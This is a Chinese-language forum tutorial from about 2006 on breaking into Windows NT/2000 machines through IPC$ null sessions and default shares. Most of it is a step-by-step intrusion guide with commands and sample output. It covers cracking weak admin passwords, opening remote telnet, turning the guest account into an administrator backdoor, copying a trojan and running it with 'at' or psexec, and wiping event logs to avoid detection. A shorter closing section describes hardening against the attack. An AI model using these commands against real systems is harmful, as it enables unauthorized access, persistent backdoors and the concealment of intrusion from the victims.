|
ipc$詳細(xì)解釋大全
目錄 : 一 前言
二 什么是ipc$ 三 什么是空會話 四 空會話可以做什么 五 ipc$連接所使用的端口 六 ipc$連接在hack攻擊中的意義 七 ipc$連接失敗的常見原因 八 復(fù)制文件失敗的原因 九 如何打開目標(biāo)的IPC$共享以及其他共享 十 一些需要shell才能完成的命令 十一 入侵中可能會用到的相關(guān)命令 十二 ipc$完整入侵步驟祥解 十三 如何防范ipc$入侵 十四 ipc$入侵問答精選 十五 結(jié)束的話 一 前言
網(wǎng)上關(guān)于ipc$入侵的文章可謂多如牛毛,而且也不乏優(yōu)秀之作,攻擊步驟甚至可以說已經(jīng)成為經(jīng)典的模式,因此也沒人愿意再把這已經(jīng)成為定式的東西拿出來擺弄。
不過話雖這樣說,但我個人認(rèn)為這些文章講解的并不詳細(xì),對于第一次接觸ipc$的菜鳥來說,簡單的羅列步驟并不能解答他們的種種迷惑(你隨便找一個hack論壇搜一下ipc$,看看存在的疑惑有多少)。因此我參考了網(wǎng)上的一些資料,教程以及論壇帖子,寫了這篇總結(jié)性質(zhì)的文章,想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地! 注意:本文所討論的各種情況均默認(rèn)發(fā)生在win NT/2000環(huán)境下,win98將不在此次討論之列,而鑒于win Xp在安全設(shè)置上有所提高,個別操作并不適用,有機會將單獨討論。 二 什么是ipc$ IPC$(Internet Process Connection)是共享"命名管道"的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進行加密數(shù)據(jù)的交換,從而實現(xiàn)對遠(yuǎn)程計算機的訪問。IPC$是NT/2000的一項新功能,它有一個特點,即在同一時間內(nèi),兩個IP之間只允許建立一個連接。NT/2000在提供了ipc$功能的同時,在初次安裝系統(tǒng)時還打開了默認(rèn)共享,即所有的邏輯共享(c$,d$,e$……)和系統(tǒng)目錄winnt或windows(admin$)共享。所有的這些,微軟的初衷都是為了方便管理員的管理,但在有意無意中,導(dǎo)致了系統(tǒng)安全性的降低。 平時我們總能聽到有人在說ipc$漏洞,ipc$漏洞,其實ipc$并不是一個真正意義上的漏洞,我想之所以有人這么說,一定是指微軟自己安置的那個‘后門’:空會話(Null session)。那么什么是空會話呢? 三 什么是空會話 在介紹空會話之前,我們有必要了解一下一個安全會話是如何建立的。 在Windows NT 4.0中是使用挑戰(zhàn)響應(yīng)協(xié)議與遠(yuǎn)程機器建立一個會話的,建立成功的會話將成為一個安全隧道,建立雙方通過它互通信息,這個過程的大致順序如下: 1)會話請求者(客戶)向會話接收者(服務(wù)器)傳送一個數(shù)據(jù)包,請求安全隧道的建 立; 2)服務(wù)器產(chǎn)生一個隨機的64位數(shù)(實現(xiàn)挑戰(zhàn))傳送回客戶; 3)客戶取得這個由服務(wù)器產(chǎn)生的64位數(shù),用試圖建立會話的賬號的口令打亂它,將結(jié) 果返回到服務(wù)器(實現(xiàn)響應(yīng)); 4)服務(wù)器接受響應(yīng)后發(fā)送給本地安全驗證(LSA),LSA通過使用該用戶正確的口令來核實響應(yīng)以便確認(rèn)請求者身份。如果請求者的賬號是服務(wù)器的本地賬號,核實本地發(fā)生;如果請求的賬號是一個域的賬號,響應(yīng)傳送到域控制器去核實。當(dāng)對挑戰(zhàn)的響應(yīng)核實為正確后,一個訪問令牌產(chǎn)生,然后傳送給客戶??蛻羰褂眠@個訪問令牌連接到服務(wù)器上的資源直到建議的會話被終止。 以上是一個安全會話建立的大致過程,那么空會話又如何呢? 空會話是在沒有信任的情況下與服務(wù)器建立的會話(即未提供用戶名與密碼),但根據(jù)WIN2000的訪問控制模型,空會話的建立同樣需要提供一個令牌,可是空會話在建立過程中并沒有經(jīng)過用戶信息的認(rèn)證,所以這個令牌中不包含用戶信息,因此,這個會話不能讓系統(tǒng)間發(fā)送加密信息,但這并不表示空會話的令牌中不包含安全標(biāo)識符SID(它標(biāo)識了用戶和所屬組),對于一個空會話,LSA提供的令牌的SID是S-1-5-7,這就是空會話的SID,用戶名是:ANONYMOUS LOGON(這個用戶名是可以在用戶列表中看到的,但是是不能在SAM數(shù)據(jù)庫中找到,屬于系統(tǒng)內(nèi)置的賬號),這個訪問令牌包含下面?zhèn)窝b的組:
Everyone Network 在安全策略的限制下,這個空會話將被授權(quán)訪問到上面兩個組有權(quán)訪問到的一切信息。那么建立空會話到底可以作什么呢? 四 空會話可以做什么 對于NT,在默認(rèn)安全設(shè)置下,借助空連接可以列舉目標(biāo)主機上的用戶和共享,訪問everyone權(quán)限的共享,訪問小部分注冊表等,并沒有什么太大的利用價值;對2000作用更小,因為在Windows 2000 和以后版本中默認(rèn)只有管理員和備份操作員有權(quán)從網(wǎng)絡(luò)訪問到注冊表,而且實現(xiàn)起來也不方便,需借助工具。從這些我們可以看到,這種非信任會話并沒有多大的用處,但從一次完整的ipc$入侵來看,空會話是一個不可缺少的跳板,因為我們從它那里可以得到戶列表,這對于一個老練的黑客已經(jīng)足夠了。以下是空會話中能夠使用的具體命令: 1 首先,我們先建立一個空會話(需要目標(biāo)開放ipc$) 命令:net use \\ip\ipc$ "" /user:"" 注意:上面的命令包括四個空格,net與use中間有一個空格,use后面一個,密碼左右各一個空格。 2 查看遠(yuǎn)程主機的共享資源 命令:net view \\IP 解釋:建立了空連接后,用此命令可以查看遠(yuǎn)程主機的共享資源,如果它開了共享,可以得到如下類似類似結(jié)果: 在 \\*.*.*.*的共享資源 資源共享名 類型 用途 注釋 -----------------------------------------------------------
NETLOGON Disk Logon server share SYSVOL Disk Logon server share 命令成功完成。 4 得到遠(yuǎn)程主機的NetBIOS用戶名列表(需要打開自己的NBT) nbtstat -A IP 用此命令可以得到一個遠(yuǎn)程主機的NetBIOS用戶名列表(需要你的netbios支持),返回如下結(jié)果: Node IpAddress: [*.*.*.*] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
--------------------------------------------- SERVER <00> UNIQUE Registered OYAMANISHI-H <00> GROUP Registered OYAMANISHI-H <1C> GROUP Registered SERVER <20> UNIQUE Registered OYAMANISHI-H <1B> UNIQUE Registered OYAMANISHI-H <1E> GROUP Registered SERVER <03> UNIQUE Registered OYAMANISHI-H <1D> UNIQUE Registered ..__MSBROWSE__.<01> GROUP Registered INet~Services <1C> GROUP Registered IS~SERVER......<00> UNIQUE Registered MAC Address = 00-50-8B-9A-2D-37
以上就是我們經(jīng)常使用空會話做的事情,好像也能獲得不少東西喲,不過要注意一點:建立IPC$連接的操作會在EventLog中留下記錄,不管你是否登錄成功。 好了,那么下面我們就來看看ipc$所使用的端口是什么?
小際 2006-1-29 04:25
五 ipc$所使用的端口 首先我們來了解一些基礎(chǔ)知識: 1 SMB:(Server Message Block) Windows協(xié)議族,用于文件打印共享的服務(wù); 2 NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口實現(xiàn)基于TCP/IP協(xié)議的NETBIOS網(wǎng)絡(luò)互聯(lián)。 3 在WindowsNT中SMB基于NBT實現(xiàn),而在Windows2000中,SMB除了基于NBT實現(xiàn),還可以直接通過445端口實現(xiàn)。 有了這些基礎(chǔ)知識,我們就可以進一步來討論訪問網(wǎng)絡(luò)共享對端口的選擇了:
對于win2000客戶端來說:
1 如果在允許NBT的情況下連接服務(wù)器時,客戶端會同時嘗試訪問139和445端口,如果445端口有響應(yīng),那么就發(fā)送RST包給139端口斷開連接,用455端口進行會話,當(dāng)445端口無響應(yīng)時,才使用139端口,如果兩個端口都沒有響應(yīng),則會話失??; 2 如果在禁止NBT的情況下連接服務(wù)器時,那么客戶端只會嘗試訪問445端口,如果445端口無響應(yīng),那么會話失敗。由此可見,禁止了NBT后的win 2000對win NT的共享訪問將會失敗。 對于win2000服務(wù)器端來說: 1 如果允許NBT, 那么UDP端口137, 138, TCP 端口 139, 445將開放; 2 如果禁止NBT,那么只有445端口開放。 我們建立的ipc$會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠(yuǎn)程服務(wù)器沒有監(jiān)聽139或445端口,ipc$會話是無法建立的。 六 ipc$連接在hack攻擊中的意義 就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),如果你能夠以某一個具有一定權(quán)限的用戶身份登陸的話,那么你就會得到相應(yīng)的權(quán)限,顯然,如果你以管理員身份登陸,嘿嘿,那你可就了不得了,基本上可以為所欲為了。不過你也不要高興的太早,因為管理員的密碼不是那么好搞到的,雖然會有一些粗心的管理員存在弱口令,但這畢竟是少數(shù),而且現(xiàn)在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼將會越來越難的,因此今后你最大的可能就是以極小的權(quán)限甚至是沒有權(quán)限進行連接,甚至在主機不開啟ipc$共享時,你根本就無法連接,你會慢慢的發(fā)現(xiàn)ipc$連接并不是萬能的,所以不要奢望每次連接都能成功,那是不現(xiàn)實的。 是不是有些灰心?倒也不用,關(guān)鍵是我們要擺正心態(tài),不要把ipc$入侵當(dāng)作終極武器,不要認(rèn)為它戰(zhàn)無不勝,它只是很多入侵方法中的一種,你有可能利用它一擊必殺,也有可能一無所獲,這些都是正常的,在黑客的世界里,不是每條大路都能通往羅馬,但總有一條路會通往羅馬,耐心的尋找吧! 七 ipc$連接失敗的常見原因 以下是一些常見的導(dǎo)致ipc$連接失敗的原因:
1 IPC連接是Windows NT及以上系統(tǒng)中特有的功能,由于其需要用到Windows NT中很多DLL函數(shù),所以不能在Windows 9.x/Me系統(tǒng)中運行,也就是說只有nt/2000/xp才可以相互建立ipc$連接,98/me是不能建立ipc$連接的; 2 如果想成功的建立一個ipc$連接,就需要對方開啟ipc$共享,即使是空連接也是這樣,如果對方關(guān)閉了ipc$共享,你將會建立失敗; 3 你未啟動Lanmanworkstation服務(wù),它提供網(wǎng)絡(luò)鏈結(jié)和通訊,沒有它你無法發(fā)起連接請求(顯示名為:Workstation); 4 對方未啟動Lanmanserver服務(wù),它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依賴于此服務(wù),沒有它遠(yuǎn)程主機將無法響應(yīng)你的連接請求(顯示名為:Server); 5 對方未啟動NetLogon,它支持網(wǎng)絡(luò)上計算機 pass-through 帳戶登錄身份; 6 對方禁止了NBT(即未打開139端口); 7 對方防火墻屏蔽了139和445端口; 8 你的用戶名或者密碼錯誤(顯然空會話排除這種錯誤); 9 命令輸入錯誤:可能多了或少了空格,當(dāng)用戶名和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼為空,可以直接輸入兩個引號""即可; 10 如果在已經(jīng)建立好連接的情況下對方重啟計算機,那么ipc$連接將會自動斷開,需要重新建立連接。 另外,你也可以根據(jù)返回的錯誤號分析原因: 錯誤號5,拒絕訪問:很可能你使用的用戶不是管理員權(quán)限的,先提升權(quán)限; 錯誤號51,Windows無法找到網(wǎng)絡(luò)路徑:網(wǎng)絡(luò)有問題; 錯誤號53,找不到網(wǎng)絡(luò)路徑:ip地址錯誤;目標(biāo)未開機;目標(biāo)lanmanserver服務(wù)未啟動;目標(biāo)有防火墻(端口過濾); 錯誤號67,找不到網(wǎng)絡(luò)名:你的lanmanworkstation服務(wù)未啟動或者目標(biāo)刪除了ipc$; 錯誤號1219,提供的憑據(jù)與已存在的憑據(jù)集沖突:你已經(jīng)和對方建立了一個ipc$,請刪除再連; 錯誤號1326,未知的用戶名或錯誤密碼:原因很明顯了; 錯誤號1792,試圖登錄,但是網(wǎng)絡(luò)登錄服務(wù)沒有啟動:目標(biāo)NetLogon服務(wù)未啟動; 錯誤號2242,此用戶的密碼已經(jīng)過期:目標(biāo)有賬號策略,強制定期要求更改密碼。 八 復(fù)制文件失敗的原因 有些朋友雖然成功的建立了ipc$連接,但在copy時卻遇到了這樣那樣的麻煩,無法復(fù)制成功,那么導(dǎo)致復(fù)制失敗的常見原因又有哪些呢? 1 盲目復(fù)制 這類錯誤出現(xiàn)的最多,占到50%以上。許多朋友甚至都不知道對方是否有共享文件夾,就進行盲目復(fù)制,結(jié)果導(dǎo)致復(fù)制失敗而且郁悶的很。因此我建議大家在進行復(fù)制之前務(wù)必用net view \\IP這個命令看一下對方的共享情況,不要認(rèn)為ipc$連接建立成功了就一定有共享文件夾。 2 默認(rèn)共享判斷錯誤 這類錯誤也是大家經(jīng)常犯的,主要有兩個小方面: 1)錯誤的認(rèn)為能建立ipc$連接的主機就一定開啟了默認(rèn)共享,因而在建立完連接之后馬上向admin$之類的默認(rèn)共享復(fù)制文件,導(dǎo)致復(fù)制失敗。ipc$連接成功只能說明對方打開了ipc$共享,ipc$共享與默認(rèn)共享是兩碼事,ipc$共享是一個命名管道,并不是哪個實際的文件夾,而默認(rèn)共享并不是ipc$共享的必要條件;
2)由于net view \\IP 無法顯示默認(rèn)共享(因為默認(rèn)共享帶$),因此通過這個命令,我們并不能判斷對方是否開啟了默認(rèn)共享,因此如果對方未開啟默認(rèn)共享,那么所有向默認(rèn)共享進行的操作都不能成功;(不過大部分掃描軟件在掃弱口令的同時,都能掃到默認(rèn)共享目錄,可以避免此類錯誤的發(fā)生)
3用戶權(quán)限不夠,包括四種情形: 1)空連接向所有共享(默認(rèn)共享和普通共享)復(fù)制時,大多情況下權(quán)限是不夠的; 2)向默認(rèn)共享復(fù)制時,要具有管理員權(quán)限; 3)向普通共享復(fù)制時,要具有相應(yīng)權(quán)限(即對方事先設(shè)定的訪問權(quán)限); 4)對方可以通過防火墻或安全軟件的設(shè)置,禁止外部訪問共享; 還需要說明一點:不要認(rèn)為administrator就一定是管理員,管理員名稱是可以改的。
4被防火墻殺死或在局域網(wǎng) 也許你的復(fù)制操作已經(jīng)成功,但當(dāng)遠(yuǎn)程運行時,被防火墻殺掉了,導(dǎo)致找不到文件;還有可能你把木馬復(fù)制到了局域網(wǎng)內(nèi)的主機,導(dǎo)致連接失敗。因此建議你復(fù)制時要小心,否則就前功盡棄了。 呵呵,大家也知道,ipc$連接在實際操作過程中會出現(xiàn)千奇百怪的問題,上面我所總結(jié)的只是一些常見錯誤,沒說到的,只能讓大家自己去體會了。 九 如何打開目標(biāo)的IPC$共享以及其他共享 目標(biāo)的ipc$不是輕易就能打開的,否則就要天下打亂了。你需要一個admin權(quán)限的shell,比如telnet,木馬等,然后在shell下執(zhí)行net share ipc$來開放目標(biāo)的ipc$,用net share ipc$ /del來關(guān)閉共享。如果你要給它開共享文件夾,你可以用net share baby=c:\,這樣就把它的c盤開為共享名為baby共享了。 十 一些需要shell才能完成的命令 看到很多教程這方面寫的十分不準(zhǔn)確,一些需要shell才能完成命令就簡簡單單的在ipc$連接下執(zhí)行了,起了誤導(dǎo)作用。那么下面我總結(jié)一下需要在shell才能完成的命令: 1 向遠(yuǎn)程主機建立用戶,激活用戶,修改用戶密碼,加入管理組的操作需要在shell下完成;
2 打開遠(yuǎn)程主機的ipc$共享,默認(rèn)共享,普通共享的操作需要在shell下完成;
3 運行/關(guān)閉遠(yuǎn)程主機的服務(wù),需要在shell下完成;
4 啟動/殺掉遠(yuǎn)程主機的進程,也需要在shell下完成。
十一 入侵中可能會用到的相關(guān)命令 請注意命令適用于本地還是遠(yuǎn)程,如果適用于本地,你只能在獲得遠(yuǎn)程主機的shell后,才能向遠(yuǎn)程主機執(zhí)行。 1 建立空連接:
net use \\IP\ipc$ "" /user:"" 2 建立非空連接:
net use \\IP\ipc$ "psw" /user:"account" 3 查看遠(yuǎn)程主機的共享資源(但看不到默認(rèn)共享)
net view \\IP 4 查看本地主機的共享資源(可以看到本地的默認(rèn)共享)
net share 5 得到遠(yuǎn)程主機的用戶名列表
nbtstat -A IP 6 得到本地主機的用戶列表
net user 7 查看遠(yuǎn)程主機的當(dāng)前時間
net time \\IP 8 顯示本地主機當(dāng)前服務(wù)
net start 9 啟動/關(guān)閉本地服務(wù)
net start 服務(wù)名 /y net stop 服務(wù)名 /y 11 刪除共享映射
net use c: /del 刪除映射的c盤,其他盤類推 net use * /del /y刪除全部 12 向遠(yuǎn)程主機復(fù)制文件
copy \路徑\srv.exe \\IP\共享目錄名,如: copy ccbirds.exe \\*.*.*.*\c 即將當(dāng)前目錄下的文件復(fù)制到對方c盤內(nèi) 13 遠(yuǎn)程添加計劃任務(wù)
at \\ip 時間 程序名,如: at \\127.0.0.0 11:00 love.exe 注意:時間盡量使用24小時制;在系統(tǒng)默認(rèn)搜索路徑(比如system32/)下不用加路徑,否則必須加全路徑 14 開啟遠(yuǎn)程主機的telnet 這里要用到一個小程序:opentelnet.exe,各大下載站點都有,而且還需要滿足四個要求: 1)目標(biāo)開啟了ipc$共享
2)你要擁有管理員密碼和賬號 3)目標(biāo)開啟RemoteRegistry服務(wù),用戶就該ntlm認(rèn)證 4)對WIN2K/XP有效,NT未經(jīng)測試 命令格式:OpenTelnet.exe \\server account psw NTLM認(rèn)證方式 port 試?yán)缦拢篶:\>OpenTelnet.exe \\*.*.*.* administrator "" 1 90 15 激活用戶/加入管理員組
1 net uesr account /active:yes 2 net localgroup administrators account /add 16 關(guān)閉遠(yuǎn)程主機的telnet
同樣需要一個小程序:ResumeTelnet.exe 命令格式:ResumeTelnet.exe \\server account psw 試?yán)缦拢篶:\>ResumeTelnet.exe \\*.*.*.* administrator "" 17 刪除一個已建立的ipc$連接
net use \\IP\ipc$ /del (本教程不定期更新,欲獲得最新版本,請登陸官方網(wǎng)站:菜菜鳥社區(qū)原創(chuàng)[url]http://ccbirds.yeah.net[/url]) 小際 2006-1-29 04:25
十二 ipc$完整入侵步驟祥解 其實入侵步驟隨個人愛好有所不同,我就說一下常見的吧,呵呵,獻丑了!
1 用掃描軟件搜尋存在若口令的主機,比如流光,SSS,X-scan等,隨你的便,然后鎖定目標(biāo),如果掃到了管理員權(quán)限的口令,你可以進行下面的步驟了,假設(shè)你現(xiàn)在得到了administrator的密碼為空
2 此時您有兩條路可以選擇:要么給對方開telnet(命令行),要么給它傳木馬(圖形界面),那我們就先走telnet這條路吧 3上面開telnet的命令沒忘吧,要用到opentelnet這個小程序 c:\>OpenTelnet.exe \\192.168.21.* administrator "" 1 90 如果返回如下信息 ******************************************************* Remote Telnet Configure, by refdom Email: [email]refdom@263.net[/email] OpenTelnet.exe Usage:OpenTelnet.exe \\server username password NTLMAuthor telnetport
******************************************************* Connecting \\192.168.21.*...Successfully! NOTICE!!!!!!
The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23 Starting telnet service...
telnet service is started successfully! telnet service is running! BINGLE!!!Yeah!!
Telnet Port is 90. You can try:"telnet ip 90", to connect the server! Disconnecting server...Successfully! *說明你已經(jīng)打開了一個端口90的telnet。 4 現(xiàn)在我們telnet上去 telnet 192.168.21.* 90 如果成功,你將獲得遠(yuǎn)程主機的一個shell,此時你可以像控制自己的機器一樣控制你的肉雞了,那么做點什么呢?把guest激活再加入管理組吧,就算留個后門了 5 C:\>net user guest /active:yes *將Guest用戶激活,也有可能人家的guest本來就試活的,你可以用net user guest看一下它的帳戶啟用的值是yes還是no 6 C:\>net user guest 1234 *將Guest的密碼改為1234,或者改成你喜歡的密碼 7 C:\>net localgroup administrators guest /add *將Guest變?yōu)锳dministrator,這樣,即使以后管理員更改了他的密碼,我們也可以用guest登錄了,不過也要提醒您,因為通過安全策略的設(shè)置,可以禁止guest等帳戶的遠(yuǎn)程訪問,呵呵,如果真是這樣,那我們的后門也就白做了,愿上帝保佑Guest。 8 好了,現(xiàn)在我們來走另一條路,給它傳個木馬玩玩 -----------------------------------------------------------
C Disk D Disk 命令成功完成。 *好了,我們看到對方共享了C,D兩個盤,我們下面就可以向任意一個盤復(fù)制文件了。再次聲明,因為用net view命令無法看到默認(rèn)共享,因此通過上面返回的結(jié)果,我們并不能判斷對方是否開啟了默認(rèn)共享。 11 C:\>copy love.exe \\192.168.21.*\c 已復(fù)制 1 個文件 *用這個命令你可以將木馬客戶端love.exe傳到對方的c盤下,當(dāng)然,如果能復(fù)制到系統(tǒng)文件夾下是最好的了,不容易被發(fā)現(xiàn) 12 運行木馬前,我們先看看它現(xiàn)在的時間 net time \\192.168.21.* \\192.168.21.*的當(dāng)前時間是 2003/8/22 上午 11:00 命令成功完成 13 現(xiàn)在我們用at運行它吧,不過對方一定要開了Task Scheduler服務(wù)(允許程序在指定時間運行),否則就不行了 C:\>at \\192.168.21.* 11:02 c:\love.exe 新加了一項作業(yè),其作業(yè) ID = 1 14 剩下就是等了,等過了11:02,你就可以用控制端去連接了,如果成功你將可以用圖形界面去控制遠(yuǎn)程主機了,如果連接失敗,那么它可能在局域網(wǎng)里,也可能程序被防火墻殺了,還可能它下線了(沒這么巧吧),無論哪種情況你只好放棄了 嗯,好了,兩種基本方法都講了。如果你對上面的操作已經(jīng)輕車熟路了,也可以用更高效的套路,比如用CA克隆guest,用psexec執(zhí)行木馬,用命令:psexec \\tergetIP -u user -p paswd cmd.exe直接獲得shell等,這些都是可以得,隨你的便。不過最后不要忘了把日志清理干凈,可以用榕哥的elsave.exe。 講了ipc$的入侵,就不能不說如何防范,那么具體要怎樣做呢?看下面 十三 如何防范ipc$入侵 1 禁止空連接進行枚舉(此操作并不能阻止空連接的建立) 方法1:
運行regedit,找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:1 如果設(shè)置為"1",一個匿名用戶仍然可以連接到IPC$共享,但限制通過這種連接得到列舉SAM賬號和共享等信息;在Windows 2000 中增加了"2",限制所有匿名訪問除非特別授權(quán),如果設(shè)置為2的話,可能會有一些其他問題發(fā)生,建議設(shè)置為1。如果上面所說的主鍵不存在,就新建一個再改鍵值。 方法2:
在本地安全設(shè)置-本地策略-安全選項-在‘對匿名連接的額外限制‘中做相應(yīng)設(shè)置 2 禁止默認(rèn)共享 1)察看本地共享資源
運行-cmd-輸入net share 2)刪除共享(重起后默認(rèn)共享仍然存在)
net share ipc$ /delete net share admin$ /delete net share c$ /delete net share d$ /delete(如果有e,f,……可以繼續(xù)刪除) 3)停止server服務(wù)
net stop server /y (重新啟動后server服務(wù)會重新開啟) 4)禁止自動打開默認(rèn)共享(此操作并未關(guān)閉ipc$共享)
運行-regedit server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。
pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建(右擊-新建-雙字節(jié)值)一個主健再改鍵值。 這兩個鍵值在默認(rèn)情況下在主機上是不存在的,需要自己手動添加。 3 關(guān)閉ipc$和默認(rèn)共享依賴的服務(wù):server服務(wù) 控制面板-管理工具-服務(wù)-找到server服務(wù)(右擊)-屬性-常規(guī)-啟動類型-選已禁用 這時可能會有提示說:XXX服務(wù)也會關(guān)閉是否繼續(xù),因為還有些次要的服務(wù)要依賴于lanmanserver,不要管它。 4 屏蔽139,445端口 由于沒有以上兩個端口的支持,是無法建立ipc$的,因此屏蔽139,445端口同樣可以阻止ipc$入侵。 1)139端口可以通過禁止NBT來屏蔽
本地連接-TCP/IT屬性-高級-WINS-選‘禁用TCP/IT上的NETBIOS’一項 2)445端口可以通過修改注冊表來屏蔽
添加一個鍵值 Hive: HKEY_LOCAL_MACHINE Key: System\Controlset\Services\NetBT\Parameters Name: SMBDeviceEnabled Type: REG_DWORD Value: 0 修改完后重啟機器 注意:如果屏蔽掉了以上兩個端口,你將無法用ipc$入侵別人。
3)安裝防火墻進行端口過濾 5 設(shè)置復(fù)雜密碼,防止通過ipc$窮舉出密碼。 十四 ipc$入侵問答精選 上面說了一大堆的理論東西,但在實際中你會遇到各種各樣的問題,因此為了給予大家最大的幫助,我看好幾個安全論壇,找了n多的帖子,從中整理了一些有代表性的問答,其中的一些答案是我給出的,一些是論壇上的回復(fù),如果有什么疏漏和錯誤,還請包涵。 1.進行ipc$入侵的時候,會在服務(wù)器中留下記錄,有什么辦法可以不讓服務(wù)器發(fā)現(xiàn)嗎? 答:留下記錄是一定的,你走后用程序刪除就可以了,或者用肉雞入侵。
2.你看下面的情況是為什么,可以連接但不能復(fù)制 net use \\***.***.***.***\ipc$ "密碼" /user:"用戶名" 命令成功 copy icmd.exe \\***.***.***.***\admin$ 找不到網(wǎng)絡(luò)路徑 命令不成功 答:可能有兩個原因:
1)你的權(quán)限不夠,不能訪問默認(rèn)共享; 2)對方?jīng)]有開啟admin$默認(rèn)共享,不要認(rèn)為能進行ipc$連接,對方就一定開了默認(rèn)共享(很多人都這么以為,誤區(qū)!?。?,此時你可以試試別的默認(rèn)共享或普通共享,比如c$,d$,c,d等,如果還是不行,就要看你的權(quán)限了,如果是管理員權(quán)限,你可以開telnet,如果能成功,在給它開共享也行。
3.如果對方開了IPC$,且能建立空聯(lián)接,但打開C、D盤時,都要求密碼,我知道是空連接沒有太多的權(quán)限,但沒別的辦法了嗎? 答:建議先用流光或者別的什么猜解一下密碼,如果猜不出來,只能放棄,畢竟空連接的能力有限。
4.我已經(jīng)猜解到了管理員的密碼,且已經(jīng)ipc$連接成功了,但net view \\ip發(fā)現(xiàn)它沒開默認(rèn)共享,我該怎么辦? 答:首先糾正你的一個錯誤,用net view是無法看到默認(rèn)共享的。既然你現(xiàn)在有管理員權(quán)限,而且對方又開了ipc$,建議你用opentelnet.exe這個小程序打開它的telent,在獲得了這個shell之后,做什么都可以了。
5.ipc$連接成功后,我用下面的命令建立了一個帳戶,卻發(fā)現(xiàn)這個帳戶在我自己的機器上,這是怎么回事? net uset ccbirds /add 答:ipc$建立成功只能說明你與遠(yuǎn)程主機建立了通信隧道,并不意味你取得了一個shell,只有在獲得一個shell之后,你才能在遠(yuǎn)程建立一個帳戶,否則你的操作只是在本地進行。
6.我已進入了一臺肉機,用的管理員賬號,可以看他的系統(tǒng)時間,但是復(fù)制程序到他的機子上卻不行,每次都提示“拒絕訪問,已復(fù)制0個文件”,是不是對方有什么服務(wù)沒開,我該怎么辦? 答:不能copy文件有多個可能,除了權(quán)限不夠外,還可能是對方c$,d$等默認(rèn)管理共享沒開,或者是對方為NTFS文件格式,通過設(shè)置,管理員也未必能遠(yuǎn)程寫文件。既然你有管理員權(quán)限,那就開telnet上去吧,然后在開它的共享。
7.我用Win98能與對方建立ipc$連接嗎? 答:不可以的,要進行ipc$的操作,建議用win2000
8.我用net use \\ip\ipc$ "" /user ""成功的建立了一個空會話,但用nbtstat -A IP 卻無法導(dǎo)出用戶列表,這是為什么? 答:空會話在默認(rèn)的情況下是可以導(dǎo)出用戶列表的,但如果管理員通過修改注冊表來禁止導(dǎo)出列表,就會出現(xiàn)你所說的情況;或者你自己的NBT沒有打開,netstat是建立在NBT之上的?! ?/div>
9.我建立ipc$連接的時候返回如下信息:‘提供的憑據(jù)與已存在的憑據(jù)集沖突’,怎么回事? 答:呵呵,這說明你與目標(biāo)主機建立了一個以上的ipc$連接,這是不允許的,把其他的刪掉吧:net use \\*.*.*.*\ipc$ /del
答:你也太粗心了吧,這說明你的h盤正在使用,映射到別的盤符吧!
11.我建立了一個連接f:\>net use \\*.*.*.*\ipc$ "123" /user:"ccbirds" 成功了,但當(dāng)我映射時出現(xiàn)了錯誤,向我要密碼,怎么回事? F:\>net use h: \\*.*.*.*\c$ 密碼在 \\*.*.*.*\c$ 無效。 請鍵入 \\*.*.*.*\c$ 的密碼: 系統(tǒng)發(fā)生 5 錯誤。 拒絕訪問。 答:呵呵,向你要密碼說明你當(dāng)前使用的用戶權(quán)限不夠,不能映射C$這個默認(rèn)共享,想辦法提升權(quán)限或者找管理員的弱口令吧!默認(rèn)共享一般是需要管理員權(quán)限的。
12.我用superscan掃到了一個開了139端口的主機,但為什么不能空連接呢? 答:你混淆了ipc$與139的關(guān)系,能進行ipc$連接的主機一定開了139或445端口,但開這兩個端口的主機可不一定能空連接,因為對方可以關(guān)閉ipc$共享.
13.我門局域網(wǎng)里的機器大多都是xp,我用流光掃描到幾個administrator賬號口令是空,而且可以連接,但不能復(fù)制東西,說錯誤5。請問為什么? 答:xp的安全性要高一些,在安全策略的默認(rèn)設(shè)置中,對本地帳戶的網(wǎng)絡(luò)登錄進行身份驗證的時候,默認(rèn)為來賓權(quán)限,即使你用管理員遠(yuǎn)程登錄,也只具有來賓權(quán)限,因此你復(fù)制文件,當(dāng)然是錯誤5:權(quán)限不夠。
14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c 出現(xiàn)請鍵入 \\192.168.0.2 的密碼,怎么回事情呢? 答:雖然你具有管理員權(quán)限,但管理員在設(shè)置c盤共享權(quán)限時可能并未設(shè)置允許administrator訪問,所以會出現(xiàn)問題。
15.如果自己的機器禁止了ipc$, 是不是還可以用ipc連接別的機器? 答:可以的。
禁止ipc$默認(rèn)共享的方法 以下四種方法可以參考一下: A、一種辦法是把ipc$和默認(rèn)共享都刪除了。但重起后還會有。這就需要改注冊表。 1,先把已有的刪除 net share ipc$ /del net share admin$ /del net share c$ /del …………(有幾個刪幾個) 2,禁止建立空連接 首先運行regedit,找到如下主鍵[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA] 把RestrictAnonymous(DWORD)的鍵值改為:00000001。
3,禁止自動打開默認(rèn)共享 對于server版,找到如下主鍵[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerPara
meters]把AutoShareServer(DWORD)的鍵值改為:00000000。
對于pro版,則是[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把Au toShareWks(DWORD)的鍵值改為:00000000。
